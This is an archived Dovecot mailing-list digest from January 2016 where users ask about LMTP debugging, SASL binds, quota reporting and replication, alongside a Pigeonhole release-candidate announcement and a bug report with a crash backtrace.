From kjonca at o2.pl Fri Jan 1 18:25:50 2016 From: kjonca at o2.pl (Kamil =?iso-8859-2?Q?Jo=F1ca?=) Date: Fri, 01 Jan 2016 19:25:50 +0100 Subject: How to debug lmtpd? Message-ID: <87h9ixw40h.fsf@alfa.kjonca> 1. I have dovecot installation with lmtp 2. there are some sieve filter which call mailpost to put mails in my news server. 3. SOME mails are not mailposted :( I do not know why. Moreover these mails filtered by dovecot-lda ARE mailposted whit the same sieve filter. 4. How can I debug lmtp and it's descendant processes? strace -ff only? KJ -- http://wolnelektury.pl/wesprzyj/teraz/ Boys, you have ALL been selected to LEAVE th' PLANET in 15 minutes!! From bpk678 at gmail.com Fri Jan 1 19:14:57 2016 From: bpk678 at gmail.com (Brendan Kearney) Date: Fri, 01 Jan 2016 14:14:57 -0500 Subject: SASL binds Message-ID: <5686D031.3000104@gmail.com> i am looking to get SASL binds working in Dovecot for userdb lookups, and i am not sure what i might be doing wrong. Dovecot version - 2.2.19 running on Fedora 22. MIT Kerberos and OpenLDAP are being used. my LDAP configs: uris = ldap://server1.bpk2.com ldap://server2.bpk2.com sasl_bind = yes sasl_mech = gssapi sasl_realm = BPK2.COM sasl_authz_id = imap/imap.bpk2.com at BPK2.COM base = dc=bpk2,dc=com the above results in the below error logs: Jan 01 13:56:58 mail auth[16747]: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (No Kerberos credentials available) Jan 01 13:56:58 mail dovecot[16722]: auth-worker(16747): Error: LDAP: binding failed (dn (none)): Local error, SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (No Kerberos credentials available) i am assuming the keytab, /etc/dovecot/dovecot.keytab would be used to bind to the directory, but i am not sure. the auth_krb5_keytab directive is set with the absolute path and keytab name. is there something i am missing, such as a /etc/sasl2/dovecot.conf file? in the directory, i am mapping the Kerberos ID to LDAP user object as such: uid=imap\/(.*).bpk2.com,cn=bpk2.com,cn=gssapi,cn=auth uid=mda,ou=processUsers,ou=Users,dc=bpk2,dc=com if i change the sasl_authz_id to uid=mda,ou=processUsers,ou=Users,dc=bpk2,dc=com, and restart dovecot, i still get the same error. can anyone shed light on where i am going wrong? thanks in advance, brendan From makarovdenis11 at gmail.com Sun Jan 3 16:18:17 2016 From: makarovdenis11 at gmail.com (=?UTF-8?B?0JzQsNC60LDRgNC+0LIg0JTQtdC90LjRgQ==?=) Date: Sun, 3 Jan 2016 19:18:17 +0300 Subject: Howto get information about quota used Message-ID: <568949C9.1010003@gmail.com> Hello guys! I have Dovecot server (version: 2.2.9) with quota and imap_quota plugins. I wanna know how to get information about quota used of current email. I can do this with IMAP client like Thunderbird, but how I can do it on server? doveconf -n | grep quota mail_plugins = quota, antispam quota = maildir:User quota_exceeded_message = Message quota_rule = *:storage=100M quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u quota_warning3 = -storage=100%% quota-warning below %u service quota-warning { executable = /usr/local/bin/quota-warning.sh mail_plugins = quota imap_quota mail_plugins = quota sieve For each mailboxes I use quota limits from MySQL. -- ? ?????????, *??????? ?????* *?????*: makarovdenis11 at gmail.com Best regards, *Makarov Denis* *email*: makarovdenis11 at gmail.com From p at sys4.de Sun Jan 3 18:34:33 2016 From: p at sys4.de (Patrick Ben Koetter) Date: Sun, 3 Jan 2016 19:34:33 +0100 Subject: Howto get information about quota used In-Reply-To: <568949C9.1010003@gmail.com> References: <568949C9.1010003@gmail.com> Message-ID: <20160103183432.GA19308@sys4.de> * ??????? ????? : > Hello guys! > > I have Dovecot server (version: 2.2.9) with quota and imap_quota plugins. > > I wanna know how to get information about quota used of current email. > > I can do this with IMAP client like Thunderbird, but how I can do it > on server? Try this: # doveadm quota get -A ... p at rick -- [*] sys4 AG https://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From pgspm at yahoo.no Sun Jan 3 18:53:54 2016 From: pgspm at yahoo.no (Petter Gunnerud) Date: Sun, 3 Jan 2016 18:53:54 +0000 (UTC) Subject: Replication - hostname issue References: <1031806623.9652553.1451847234030.JavaMail.yahoo.ref@mail.yahoo.com> Message-ID: <1031806623.9652553.1451847234030.JavaMail.yahoo@mail.yahoo.com> I have postfix/dovecot setup on a virtual gentoo server. It's been in service for almost two years without any issues. Now I want to set up a spare server to replicate mails from the one running. I copied the vm files to the second host server, changed the ip, hostname and hosts file for the copy and followed the dovecot replication doc. The last point in the doc tells to rundovecot --hostdomainto make sure the hostnames differ... To my surprise the command returned "localhost" on both servers. How do I set the hostname for dovecot service?(The hostname command returns the servers hostnames.)Will a change in dovecot hostname make all clients redownload all their mail? A second question. When configuring dovecot replication. Should the settings be done on the master server or the stand by server, or both? (Doc doesn't say anything regarding this) PG From stephan at rename-it.nl Mon Jan 4 00:11:04 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Mon, 4 Jan 2016 01:11:04 +0100 Subject: Released Pigeonhole v0.4.11.rc1 for Dovecot v2.2.21 Message-ID: <5689B898.7070906@rename-it.nl> Hello Dovecot users, First, a happy new year to you all! :) In the last few weeks I got quite a few bug reports. I also found a few things myself. Some of the bugs are quite annoying, so a new release is necessary. First, I release RC1. If all is well, I'll release the definitive Pigeonhole v0.4.11 within the next few days. Changelog v0.4.11: - Sieve mime extension: Fixed the header :mime :anychild test to work properly outside a foreverypart loop. - Several fixes in message body part handling: - Fixed assert failure occurring when text extraction is attempted on an empty or broken text part. - Fixed assert failure in handling of body parts that are converted to text. - Fixed header unfolding for (mime) headers parsed from any mime part. - Fixed trimming for (mime) headers parsed from any mime part. - Fixed erroneous changes to the message part tree structure performed when re-parsing the message. - LDA Sieve plugin: Fixed logging of actions; sometimes the configured log format was not followed. - LDA Sieve plugin: Fixed bug in error handling of script storage initialization. - Sieve Extprograms plugin: Ignored ENOTCONN error in shutdown(fd, SHUT_WR) call. - Fixed duplication of discard actions in the script result. Each discard was counted as a separate action, which means that action limit would be crossed too early. - Made sure that quota errors never get logged as errors in syslog. - Fixed handling of implicit keep for a partially executed transaction that yielded a temporary failure. - Fixed handling of global errors. If master and user error handler were identical, in some cases the log message could be lost. - Fixed AIX compile issue in message body parser. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.11.rc1.tar.gz http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.11.rc1.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan at rename-it.nl From skdovecot at smail.inf.fh-brs.de Mon Jan 4 07:57:25 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Mon, 4 Jan 2016 08:57:25 +0100 (CET) Subject: Double folders? In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 30 Dec 2015, Frank W wrote: > I upgraded my dovecot install from 2.0.19 to 2.2.19. I haved update the > configuration, accordingly, but I when I open roundcube, I see multiple > folders like sent, trash, facebook, etc... I not sure if am missing did you tested Dovecot as per http://wiki2.dovecot.org/TestInstallation "Check that it finds other mailboxes" Do you see those mailboxes twice as well? Do they differ in case, e.g. sent vs. Sent ? > something or not. Here is my configure: > > [root at mgmt ~]# cat dovecot_config.txt > # 2.2.19: /etc/dovecot/dovecot.conf > # OS: Linux 3.4.4 armv5tel Gentoo Base System release 2.1 ext3 > auth_mechanisms = plain login > disable_plaintext_auth = no > first_valid_gid = 207 > first_valid_uid = 207 > last_valid_gid = 207 > last_valid_uid = 207 > listen = *, [::] > mail_gid = 207 > mail_location = maildir:/var/vmail/%u/Maildir/:INDEX=/var/vmail/%u/indexes > mail_plugins = quota > mail_uid = 207 > namespace { > inbox = yes > location = > prefix = INBOX. > separator = . > name = > } > namespace { > location = > mailbox { > special_use = \Drafts > name = Drafts > } > mailbox { > special_use = \Junk > name = Junk > } > mailbox { > special_use = \Sent > name = Sent > } > mailbox { > special_use = \Trash > name = Trash > } > prefix = > name = inbox > } > passdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocols = imap pop3 > service replication-notify-fifo { > name = aggregator > } > service anvil-auth-penalty { > name = anvil > } > service auth-worker { > user = $default_internal_user > name = auth-worker > } > service { > unix_listener { > group = postfix > mode = 0666 > user = postfix > path = /var/spool/postfix/private/auth > } > unix_listener { > group = mail > mode = 0666 > user = mail > path = auth-userdb > } > name = auth > } > service config { > name = config > } > service dict-async { > name = dict-async > } > service dict { > name = dict > } > service login/proxy-notify { > name = director > } > service dns-client { > name = dns_client > } > service doveadm-server { > name = doveadm > } > service imap-hibernate { > name = imap-hibernate > } > service imap { > name = imap-login > } > service imap-urlauth { > name = imap-urlauth-login > } > service imap-urlauth-worker { > name = imap-urlauth-worker > } > service token-login/imap-urlauth { > name = imap-urlauth > } > service imap-master { > name = imap > } > service indexer-worker { > name = indexer-worker > } > service indexer { > name = indexer > } > service ipc { > name = ipc > } > service lmtp { > name = lmtp > } > service log-errors { > name = log > } > service pop3 { > name = pop3-login > } > service login/pop3 { > name = pop3 > } > service replicator-doveadm { > name = replicator > } > service login/ssl-params { > name = ssl-params > } > service stats-mail { > name = stats > } > ssl_cert = ssl_cipher_list = ALL:!LOW:!SSLv2 > ssl_key = userdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocol lmtp { > service replication-notify-fifo { > name = aggregator > } > service anvil-auth-penalty { > name = anvil > } > service auth-worker { > name = auth-worker > } > service auth-client { > name = auth > } > service config { > name = config > } > service dict-async { > name = dict-async > } > service dict { > name = dict > } > service login/proxy-notify { > name = director > } > service dns-client { > name = dns_client > } > service doveadm-server { > name = doveadm > } > service imap-hibernate { > name = imap-hibernate > } > service imap { > name = imap-login > } > service imap-urlauth { > name = imap-urlauth-login > } > service imap-urlauth-worker { > name = imap-urlauth-worker > } > service token-login/imap-urlauth { > name = imap-urlauth > } > service imap-master { > name = imap > } > service indexer-worker { > name = indexer-worker > } > service indexer { > name = indexer > } > service ipc { > name = ipc > } > service lmtp { > name = lmtp > } > service log-errors { > name = log > } > service pop3 { > name = pop3-login > } > service login/pop3 { > name = pop3 > } > service replicator-doveadm { > name = replicator > } > service login/ssl-params { > name = ssl-params > } > service stats-mail { > name = stats > } > } > protocol lda { > service replication-notify-fifo { > name = aggregator > } > service anvil-auth-penalty { > name = anvil > } > service auth-worker { > name = auth-worker > } > service auth-client { > name = auth > } > service config { > name = config > } > service dict-async { > name = dict-async > } > service dict { > name = dict > } > service login/proxy-notify { > name = director > } > service dns-client { > name = dns_client > } > service doveadm-server { > name = doveadm > } > service imap-hibernate { > name = imap-hibernate > } > service imap { > name = imap-login > } > service imap-urlauth { > name = imap-urlauth-login > } > service imap-urlauth-worker { > name = imap-urlauth-worker > } > service token-login/imap-urlauth { > name = imap-urlauth > } > service imap-master { > name = imap > } > service indexer-worker { > name = indexer-worker > } > service indexer { > name = indexer > } > service ipc { > name = ipc > } > service lmtp { > name = lmtp > } > service log-errors { > name = log > } > service pop3 { > name = pop3-login > } > service login/pop3 { > name = pop3 > } > service replicator-doveadm { > name = replicator > } > service login/ssl-params { > name = ssl-params > } > service stats-mail { > name = stats > } > } > protocol imap { > mail_plugins = quota imap_quota > service replication-notify-fifo { > name = aggregator > } > service anvil-auth-penalty { > name = anvil > } > service auth-worker { > name = auth-worker > } > service auth-client { > name = auth > } > service config { > name = config > } > service dict-async { > name = dict-async > } > service dict { > name = dict > } > service login/proxy-notify { > name = director > } > service dns-client { > name = dns_client > } > service doveadm-server { > name = doveadm > } > service imap-hibernate { > name = imap-hibernate > } > service imap { > name = imap-login > } > service imap-urlauth { > name = imap-urlauth-login > } > service imap-urlauth-worker { > name = imap-urlauth-worker > } > service token-login/imap-urlauth { > name = imap-urlauth > } > service imap-master { > name = imap > } > service indexer-worker { > name = indexer-worker > } > service indexer { > name = indexer > } > service ipc { > name = ipc > } > service lmtp { > name = lmtp > } > service log-errors { > name = log > } > service pop3 { > name = pop3-login > } > service login/pop3 { > name = pop3 > } > service replicator-doveadm { > name = replicator > } > service login/ssl-params { > name = ssl-params > } > service stats-mail { > name = stats > } > } > protocol pop3 { > service replication-notify-fifo { > name = aggregator > } > service anvil-auth-penalty { > name = anvil > } > service auth-worker { > name = auth-worker > } > service auth-client { > name = auth > } > service config { > name = config > } > service dict-async { > name = dict-async > } > service dict { > name = dict > } > service login/proxy-notify { > name = director > } > service dns-client { > name = dns_client > } > service doveadm-server { > name = doveadm > } > service imap-hibernate { > name = imap-hibernate > } > service imap { > name = imap-login > } > service imap-urlauth { > name = imap-urlauth-login > } > service imap-urlauth-worker { > name = imap-urlauth-worker > } > service token-login/imap-urlauth { > name = imap-urlauth > } > service imap-master { > name = imap > } > service indexer-worker { > name = indexer-worker > } > service indexer { > name = indexer > } > service ipc { > name = ipc > } > service lmtp { > name = lmtp > } > service log-errors { > name = log > } > service pop3 { > name = pop3-login > } > service login/pop3 { > name = pop3 > } > service replicator-doveadm { > name = replicator > } > service login/ssl-params { > name = ssl-params > } > service stats-mail { > name = stats > } > } > - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVool5Xz1H7kL/d9rAQL+vgf+NWiBPY5jYZ6ZZc6vUFqjkxZ6/5CX7nbU 5jDhe6tLjdn3xYzzCYf56iq1k/YhzGX4FOqbMVOsbg3AQ8y1IXTtZZQibkFwg6Dw vbiFOlfqd2ifOA6FSgZhEyqMsTNFLr80NSLJiLL61Dans5SsG7kRfCzLdGIE08Ph GsFrfwrXW0Xx70zoQ+mpDT6mC4a7RZHyQ+gDcTRf5uk871Y81fJz59x7YBr+MNLm OcrTONemrG61T/Oj1dl9Ar9K10EJVrVSo3ept1/Yevfkps6dCy46Vd/bEpViD3ZS CWi2hZiE2MAbC+GJKP7G3Tdy8qPwg9iisFwNkAWvU8jwHkl4xapMJg== =a6H4 -----END PGP SIGNATURE----- From skdovecot at smail.inf.fh-brs.de Mon Jan 4 08:07:25 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Mon, 4 Jan 2016 09:07:25 +0100 (CET) Subject: How to debug lmtpd? In-Reply-To: <87h9ixw40h.fsf@alfa.kjonca> References: <87h9ixw40h.fsf@alfa.kjonca> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, 1 Jan 2016, Kamil Jo?ca wrote: > 1. I have dovecot installation with lmtp > 2. there are some sieve filter which call mailpost to put mails in my > news server. > 3. SOME mails are not mailposted :( I do not know why. Moreover these > mails filtered by dovecot-lda ARE mailposted whit the same sieve filter. > 4. How can I debug lmtp and it's descendant processes? strace -ff only? you can run ./libexec/dovecot/lmtp from command line, then speak "LMTP". Setup the environment accordingly. Dunno if http://wiki2.dovecot.org/Tools/Doveadm/Exec helps you setting up the user correctly. - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVoooPnz1H7kL/d9rAQJ57wf/erj8/6Sk/Okv1HyQ6spdm/vzMynQu4GZ +MjmfxH+IzvYDy4zwCiGRsb6PJgUG5x0PhvU9xqroCdORiN6AzGR7aSS5BMfRdoc MX7BvFLugmEed+DwwzMub5GhILxzINBCTSX+kGesgk9dzKI90v98Vf8Nq5ynIQed iQ2UlJzmTWSHHjZicmhpMZwQgXypok8CxFlcuOi3WLyOcoMldH8nJZURam9RfHTs msgMD59O9hNDpLk3DJR78Yu226Kszw1SKk9q48va9Mbp+hz5CCaLywEvq2BF5xGN NOkau2cdgm8U+nHEtMLUBfdhLycGS0Yu8CGeceudM3TvzemMqeogGw== =4BC8 -----END PGP SIGNATURE----- From teemu.huovila at dovecot.fi Mon Jan 4 10:26:47 2016 From: teemu.huovila at dovecot.fi (Teemu Huovila) Date: Mon, 4 Jan 2016 12:26:47 +0200 Subject: Replication - hostname issue In-Reply-To: <1031806623.9652553.1451847234030.JavaMail.yahoo@mail.yahoo.com> References: <1031806623.9652553.1451847234030.JavaMail.yahoo.ref@mail.yahoo.com> <1031806623.9652553.1451847234030.JavaMail.yahoo@mail.yahoo.com> Message-ID: <568A48E7.5050105@dovecot.fi> On 03.01.2016 20:53, Petter Gunnerud wrote: > I have postfix/dovecot setup on a virtual gentoo server. It's been in service for almost two years without any issues. > Now I want to set up a spare server to replicate mails from the one running. I copied the vm files to the second host server, changed the ip, hostname and hosts file for the copy and followed the dovecot replication doc. > The last point in the doc tells to rundovecot --hostdomainto make sure the hostnames differ... To my surprise the command returned "localhost" on both servers. > How do I set the hostname for dovecot service?(The hostname command returns the servers hostnames.) You can define what hostname dovecot uses, by setting the environment variable DOVECOT_HOSTDOMAIN. It would also be interesting to see what "getent hosts" returns on your servers. Using the "hostname" command is not quite the same thing. > Will a change in dovecot hostname make all clients redownload all their mail? I can not speak for any/all clients, but I do not see how a change in the imap server name would make clients redownload email. > A second question. When configuring dovecot replication. Should the settings be done on the master server or the stand by server, or both? (Doc doesn't say anything regarding this) > PG This depends on how you want the syncding to be done. If it is two way master-master, then you need to configure it on both. I think this might probably be what you want anyway. br, Teemu Huovila From bluewind at xinu.at Mon Jan 4 10:28:55 2016 From: bluewind at xinu.at (Florian Pritz) Date: Mon, 4 Jan 2016 11:28:55 +0100 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) Message-ID: <568A4967.5060205@xinu.at> Hi, I'm seeing the following in my logs. Twice so far, no idea what caused it. I do however have the core dump if that is of any use. > Jan 4 11:14:11 karif dovecot[20876]: imap(username): Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) > Jan 4 11:14:11 karif dovecot[20876]: imap(username): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0xa64ea) [0x7f6f99fa64ea] -> /usr/lib/dovecot/libdovecot.so.0(+0xa7a18) [0x7f6f99fa7a18] -> /usr/lib/dovecot/libdovecot.so.0(i_ > fatal+0) [0x7f6f99fa686d] -> dovecot/imap() [0x41dde6] -> dovecot/imap(client_continue_pending_input+0xd6) [0x41df50] -> dovecot/imap() [0x4122a9] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0xcd) [0x7f6f99fc3b01] -> /usr/lib/dovec > ot/libdovecot.so.0(io_loop_handler_run_internal+0x209) [0x7f6f99fc606e] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x24) [0x7f6f99fc3caa] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0xaf) [0x7f6f99fc3bf6] -> /usr/lib/dovec > ot/libdovecot.so.0(master_service_run+0x2e) [0x7f6f99f317af] -> dovecot/imap(main+0x2da) [0x430da2] -> /usr/lib/libc.so.6(__libc_start_main+0xf0) [0x7f6f99b7c610] -> dovecot/imap(_start+0x29) [0x40c639] > Jan 4 11:14:11 karif dovecot[20876]: imap(username): Fatal: master: service(imap): child 19463 killed with signal 6 (core dumped) In case it is easier to read, here's a gdb backtrace: > #0 0x00007f6f99b8f5f8 in raise () from /usr/lib/libc.so.6 > #1 0x00007f6f99b90a7a in abort () from /usr/lib/libc.so.6 > #2 0x00007f6f99fa6539 in default_fatal_finish (type=LOG_TYPE_PANIC, status=0) at failures.c:201 > #3 0x00007f6f99fa7a18 in i_internal_fatal_handler (ctx=0x7ffe660d4700, format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)", args=0x7ffe660d4720) at failures.c:670 > #4 0x00007f6f99fa686d in i_panic (format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:275 > #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 > #6 0x000000000041df50 in client_continue_pending_input (client=0x2363450) at imap-client.c:884 > #7 0x00000000004122a9 in idle_client_input (ctx=0x23642a8) at cmd-idle.c:111 > #8 0x00007f6f99fc3b01 in io_loop_call_io (io=0x2374600) at ioloop.c:559 > #9 0x00007f6f99fc606e in io_loop_handler_run_internal (ioloop=0x232c740) at ioloop-epoll.c:220 > #10 0x00007f6f99fc3caa in io_loop_handler_run (ioloop=0x232c740) at ioloop.c:607 > #11 0x00007f6f99fc3bf6 in io_loop_run (ioloop=0x232c740) at ioloop.c:583 > #12 0x00007f6f99f317af in master_service_run (service=0x232c5e0, callback=0x430a35 ) at master-service.c:640 > #13 0x0000000000430da2 in main (argc=1, argv=0x232c390) at main.c:442 Florian -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 801 bytes Desc: OpenPGP digital signature URL: From makarovdenis11 at gmail.com Mon Jan 4 10:39:21 2016 From: makarovdenis11 at gmail.com (=?UTF-8?B?0JzQsNC60LDRgNC+0LIg0JTQtdC90LjRgQ==?=) Date: Mon, 4 Jan 2016 13:39:21 +0300 Subject: Howto get information about quota used In-Reply-To: References: Message-ID: <568A4BD9.8090707@gmail.com> I tried this for correct user: sudo doveadm quota get -u user Quota name Type Value Limit % User STORAGE 0 614400 0 User MESSAGE 0 - 0 Ok, limit is correct. But why value and % = 0? Via Thunderbird I see 52%. >> Hello guys! >> >> I have Dovecot server (version: 2.2.9) with quota and imap_quota plugins. >> >> I wanna know how to get information about quota used of current email. >> >> I can do this with IMAP client like Thunderbird, but how I can do it >> on server? > Try this: > > # doveadm quota get -A > ... > > p at rick > -- Best regards, *Makarov Denis* *email*: makarovdenis11 at gmail.com From makarovdenis11 at gmail.com Mon Jan 4 10:44:14 2016 From: makarovdenis11 at gmail.com (=?UTF-8?B?0JzQsNC60LDRgNC+0LIg0JTQtdC90LjRgQ==?=) Date: Mon, 4 Jan 2016 13:44:14 +0300 Subject: Howto get information about quota used In-Reply-To: <568A4BD9.8090707@gmail.com> References: <568A4BD9.8090707@gmail.com> Message-ID: <568A4CFE.5010203@gmail.com> Ah, all correct with @domain. sudo doveadm quota get -u user at domain Thanks Patrick! 04.01.2016 13:39, ??????? ????? ?????: > I tried this for correct user: > > sudo doveadm quota get -u user > Quota name Type Value Limit % > User STORAGE 0 614400 0 > User MESSAGE 0 - 0 > > Ok, limit is correct. > > But why value and % = 0? Via Thunderbird I see 52%. >>> Hello guys! >>> >>> I have Dovecot server (version: 2.2.9) with quota and imap_quota plugins. >>> >>> I wanna know how to get information about quota used of current email. >>> >>> I can do this with IMAP client like Thunderbird, but how I can do it >>> on server? >> Try this: >> >> # doveadm quota get -A >> ... >> >> p at rick >> > > -- > Best regards, *Makarov Denis* > *email*: makarovdenis11 at gmail.com -- ? ?????????, *??????? ?????* *?????*: makarovdenis11 at gmail.com ???. +7(916) 567-47-53 Best regards, *Makarov Denis* *email*: makarovdenis11 at gmail.com *phone*: +7(916) 567-47-53 From teemu.huovila at dovecot.fi Mon Jan 4 10:54:56 2016 From: teemu.huovila at dovecot.fi (Teemu Huovila) Date: Mon, 4 Jan 2016 12:54:56 +0200 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: <568A4967.5060205@xinu.at> References: <568A4967.5060205@xinu.at> Message-ID: <568A4F80.3050807@dovecot.fi> On 04.01.2016 12:28, Florian Pritz wrote: > Hi, > > I'm seeing the following in my logs. Twice so far, no idea what caused > it. I do however have the core dump if that is of any use. > >> Jan 4 11:14:11 karif dovecot[20876]: imap(username): Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) >> Jan 4 11:14:11 karif dovecot[20876]: imap(username): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0xa64ea) [0x7f6f99fa64ea] -> /usr/lib/dovecot/libdovecot.so.0(+0xa7a18) [0x7f6f99fa7a18] -> /usr/lib/dovecot/libdovecot.so.0(i_ >> fatal+0) [0x7f6f99fa686d] -> dovecot/imap() [0x41dde6] -> dovecot/imap(client_continue_pending_input+0xd6) [0x41df50] -> dovecot/imap() [0x4122a9] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0xcd) [0x7f6f99fc3b01] -> /usr/lib/dovec >> ot/libdovecot.so.0(io_loop_handler_run_internal+0x209) [0x7f6f99fc606e] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x24) [0x7f6f99fc3caa] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0xaf) [0x7f6f99fc3bf6] -> /usr/lib/dovec >> ot/libdovecot.so.0(master_service_run+0x2e) [0x7f6f99f317af] -> dovecot/imap(main+0x2da) [0x430da2] -> /usr/lib/libc.so.6(__libc_start_main+0xf0) [0x7f6f99b7c610] -> dovecot/imap(_start+0x29) [0x40c639] >> Jan 4 11:14:11 karif dovecot[20876]: imap(username): Fatal: master: service(imap): child 19463 killed with signal 6 (core dumped) > > In case it is easier to read, here's a gdb backtrace: > >> #0 0x00007f6f99b8f5f8 in raise () from /usr/lib/libc.so.6 >> #1 0x00007f6f99b90a7a in abort () from /usr/lib/libc.so.6 >> #2 0x00007f6f99fa6539 in default_fatal_finish (type=LOG_TYPE_PANIC, status=0) at failures.c:201 >> #3 0x00007f6f99fa7a18 in i_internal_fatal_handler (ctx=0x7ffe660d4700, format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)", args=0x7ffe660d4720) at failures.c:670 >> #4 0x00007f6f99fa686d in i_panic (format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:275 >> #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 >> #6 0x000000000041df50 in client_continue_pending_input (client=0x2363450) at imap-client.c:884 >> #7 0x00000000004122a9 in idle_client_input (ctx=0x23642a8) at cmd-idle.c:111 >> #8 0x00007f6f99fc3b01 in io_loop_call_io (io=0x2374600) at ioloop.c:559 >> #9 0x00007f6f99fc606e in io_loop_handler_run_internal (ioloop=0x232c740) at ioloop-epoll.c:220 >> #10 0x00007f6f99fc3caa in io_loop_handler_run (ioloop=0x232c740) at ioloop.c:607 >> #11 0x00007f6f99fc3bf6 in io_loop_run (ioloop=0x232c740) at ioloop.c:583 >> #12 0x00007f6f99f317af in master_service_run (service=0x232c5e0, callback=0x430a35 ) at master-service.c:640 >> #13 0x0000000000430da2 in main (argc=1, argv=0x232c390) at main.c:442 Thank you for the report. Could you execute "bt full" in gdb please. Also the output of doveconf -n would be useful. br, Teemu Huovila From gayleard at eircom.net Mon Jan 4 13:24:54 2016 From: gayleard at eircom.net (Timothy Murphy) Date: Mon, 04 Jan 2016 14:24:54 +0100 Subject: postmaster domain Message-ID: <3481127.TOtaO3JDLJ@william.gayleard.com> I recently upgraded a remote server to CentOS-7.2, after which email stopped coming through. I suspect that this was probably due to the fact that I had started a version of dovecot installed some time ago. I found messages in /var/log/maillog like Jan 4 12:56:56 alfred postfix/lmtp[7612]: 20A662202B4: to=, relay=alfred.gayleard.eu[private/dovecot-lmtp], delay=34272, delays=34272/0.16/0.01/0.05, dsn=4.3.0, status=deferred (host alfred.gayleard.eu[private/dovecot-lmtp] said: 451 4.3.0 Invalid user settings. Refer to server log for more information. (in reply to RCPT TO command)) Googling for this, I found the suggestion that one should insert the following postmaster_address line in /etc/dovecot/conf.d/20-lmtp protocol lmtp { postmaster_address = postmaster at alfred.eu # Space separated list of plugins to load (default is global ail_plugins). mail_plugins = $mail_plugins sieve } (alfred.eu being the server's domain). This seems to have solved the problem, after re-starting dovecot. I'm wondering if this was an issue that arose some time ago, and if so whether my solution was the recommended one? -- Timothy Murphy gayleard /at/ eircom.net School of Mathematics, Trinity College, Dublin From bluewind at xinu.at Mon Jan 4 14:37:48 2016 From: bluewind at xinu.at (Florian Pritz) Date: Mon, 4 Jan 2016 15:37:48 +0100 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: <568A4F80.3050807@dovecot.fi> References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> Message-ID: <568A83BC.1080004@xinu.at> On 04.01.2016 11:54, Teemu Huovila wrote: > Thank you for the report. Could you execute "bt full" in gdb please. Also the output of doveconf -n would be useful. Hi, Requested info below. Florian bt f > #0 0x00007f6f99b8f5f8 in raise () from /usr/lib/libc.so.6 > No symbol table info available. > #1 0x00007f6f99b90a7a in abort () from /usr/lib/libc.so.6 > No symbol table info available. > #2 0x00007f6f99fa6539 in default_fatal_finish (type=LOG_TYPE_PANIC, status=0) at failures.c:201 > backtrace = 0x2324158 "/usr/lib/dovecot/libdovecot.so.0(+0xa64ea) [0x7f6f99fa64ea] -> /usr/lib/dovecot/libdovecot.so.0(+0xa7a18) [0x7f6f99fa7a18] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7f6f99fa686d] -> dovecot/im"... > #3 0x00007f6f99fa7a18 in i_internal_fatal_handler (ctx=0x7ffe660d4700, format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)", args=0x7ffe660d4720) at failures.c:670 > status = 0 > #4 0x00007f6f99fa686d in i_panic (format=0x438a60 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:275 > ctx = { > type = LOG_TYPE_PANIC, > exit_status = 0, > timestamp = 0x0, > timestamp_usecs = 0 > } > args = {[0] = { > gp_offset = 40, > fp_offset = 48, > overflow_arg_area = 0x7ffe660d4800, > reg_save_area = 0x7ffe660d4740 > }} > #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 > cmd = 0x0 > unfinished_count = 0 > 